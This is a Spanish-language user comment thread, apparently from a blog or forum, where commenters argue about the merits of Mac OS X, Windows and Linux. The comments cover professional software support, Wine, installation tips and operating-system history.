Uso Mac y pc con Windows desde hace años, y pienso que OS X es de lo mejor. Leopard se ve magní­fico y muy prometedor. Probé Ubuntu dos veces pero fue un lí­o.

DE LAS SISTEMAS OPERATIVOS QUE HE PORBADO DIRIA QUE EL WINDOWS VISTA ES UNA PORQUERIA, ni LOS LUGARES QUE TE VENDEN CON SOFTWARE PIRATA TE LO RECOMIENDAN, SI QUIERES WINDOWS A LO MAS TE DICEN USA MEJOR TONCEZ WINDOWS XP, EN CAMBIO LINUX de level, creo ams que opinar y decir cosas, prueben los 3 OS y compurben uds mismo cuales les convence mas en mi Opinoon LINUX LA VOZ

No se cómo se les ocurre poner Linux al mismo nivel que Mac. Tiger y Leopard son sistemas que están a años luz de ventaja. Allá ellos, linuxeros, si se conforman con tan poco.

pues creo que los mac estan muuuuuy por arriba de windows y linux, este ultimo no tiene ningun software decente.

LINUX es para gente k no tiene nada que hacer, tiene mucha estabilidad y chucherias, pero no deja dinero a un Arquitecto.

Tengo 6 dibujantes en mi oficina y no he encontrado algo mejor que el AUTOCAD, Los ordenadores MAC estan fregones pero no hay nada como el sistema operativo mas usado en todo el mundo, Mac deberia abarcar todos los programas de WINDOWS , dejarse de niñerias y aplastar WINDOWS.

A los que quieran instalar GNU/Linux, mejor que instalar a partir de una imagen de 650MB es instalar desde una netinstall (debian y ubuntu lo llaman así­), ya que la descarga inicial es menor y el resto del sistema se descarga durante la propia instalación, con lo que la versión que se instala es la última.

Linux no sirve para aplicaciones profesionales y punto.

ed dijo:

"Linux no sirve para aplicaciones profesionales y punto."

Pues con wine puedes correr perfectamente dreamweaver, flash, photoshop y algunas otras "aplicaciones profesionales".

Además esta blender(si ese softwarecito con el que hacen las pelí­culas de Shrek) y Massive que corre bajo RedHat(si no sabes es un software de inteligencia artificial utilizado en la Trilogí­a del Señor de lo Anillos para las peleas entre decenas de miles, actualmente es utilizado para cualquier cosa en video que necesite multitudes).

Auque en cierto punto le hacen falta otro tipo de aplicaciones como las de GIS y de diseño estructural, y otras CAD. Pero tiene cierto soporte aun para aplicaciones no nativas como las citadas en el parrafo anterior.

GRACIAS AL NACIMIENTO DEL PRIMER SISTEMA OPERATIVO QUE FUE WINDOWS SE PUDO CREAR EL LINUX I EL MAC SO X SIN WINDOWS ESTOS SISTEMAS OPERATIVOS NO HUBIERAN EXISTIDO DAROS CUENTA QUE WINDOWS PUEDE TENER SUS FALLOS PERO EN WINDOWS HAY COSAS QUE NO TIENE NI LINUX NI MAC SO X I HAY COSAS QUE NO PUEDE ASER MAC SO X NI LINUX SOLO WINDOWS PUEDE TENER EL PRIVILEGIO DE RESPONDER TODOS LOS PROGRAMAS

Bueno WINDOWS VISTA ULTIMATE ACELERATTE GEFORCE deberí­as documentarte mejor. Windows ni siquiera fue el primero Sistema Operativo no alucines todas las distribuciones GNU/Linux estan basadas en UNIX y MAC OS y Sun Solaris tambien, aunque antes se llamaran diferente.

Ya lo veras, con la virtualización tanto MAC OS como GNU/Linux en cualquiera de sus distribuciones lograran imponerse finalmente cuando todas las aplicaciones en Windows puedan correr emuladas, pues para correr de forma nativa falta mucho.

Saludos

La pregunta es que beneficios productivos tengo ??? viendo el monton de efectos yo uso Mac y creo que no hay nadie que le llegue a los talones ni windows ni linux, leopard es un sistema muy poderoso deberian conocerlo mas ingenuos

He probado todos los sistemas operativos de microsoft y la verdad lo hice porque MS te hace "depender" 100% de sus productos (o hace algun tiempo te hacia depender mucho), pero realmente consume demasiados recursos o simplemente su kernel no sabe administrarlos, como el windows 98 que tenias que "resetearlo" al pasar una semana porque se colgaba...cabe mencionar que en la presentacion se le colgo el windows 98 al mismisimo Bill. Windows Millenium porque no llegaste a hacer quebrar Microsoft??? pero buen intento.

Windows Vista Ultimate por que haces girar tanto mi disco duro? por que te consumes 1283 MB de RAM si solo tengo el msn y la mula cargada?... a alguien le ha pasado estas situaciones?

Con respecto a Linux he usado Redhat, Fedora, Suse, Ubuntu y Debian (Ubuntu y Debian es el linux para los flojos realmente el uso del apt te ayuda mucho con las dependencias =) con propositos ya sea para uso cotidiano o para correr servicios como apache, servicios de correo, etc y la verdad no he tenido nada de problemas y si los tienes google te ayudara si o si.

Ahora Mac... la verdad no lo he usado mucho asi que no seria correcto que hable de el.

Yo creo que hay que respetar todas los comentarios... aunque me gustaria acabar con el imperio microsoft ya que esa compañia se dedica a cantidad y no a calidad.

Varias consideraciones:

Windows y macs son sistemas propietarios, cerrados y no modificables, linux y macs están basados en unix.

Si hacemos una comparativa entre cantidad de usuarios, la evolución del sistema operativo y los programas que corren sobre ellos windows y macs siguen apenas en la salida y linux se ha distanciado de ambos y sigue acelerando. Con linux, incluyendo todos sus defectos y bugs, notas que los otros dos sistemas se modifican apenas a nivel estético. La velocidad, el rendimiento, la utilización de recursos, la seguridad, la adaptabilidad, la economí­a y la competencia convierten a linux en algo diferente a lo que hemos estado acostumbrados hasta ahora. Se vislumbra la decadencia de la dictadura de los oligopolios de software. Se puede comparar window y mac, no se puede mezclar con ellos a linux, sin ingenuidad linux es otra cosa.

Para el forofo de windows: Tanto mac como unix son anteriores a windows que surgió para competir con mac corriendo sobre el peor sistema operativo que ha existido jamás, de hecho está totalmente extinto: Microsoft Disk Opera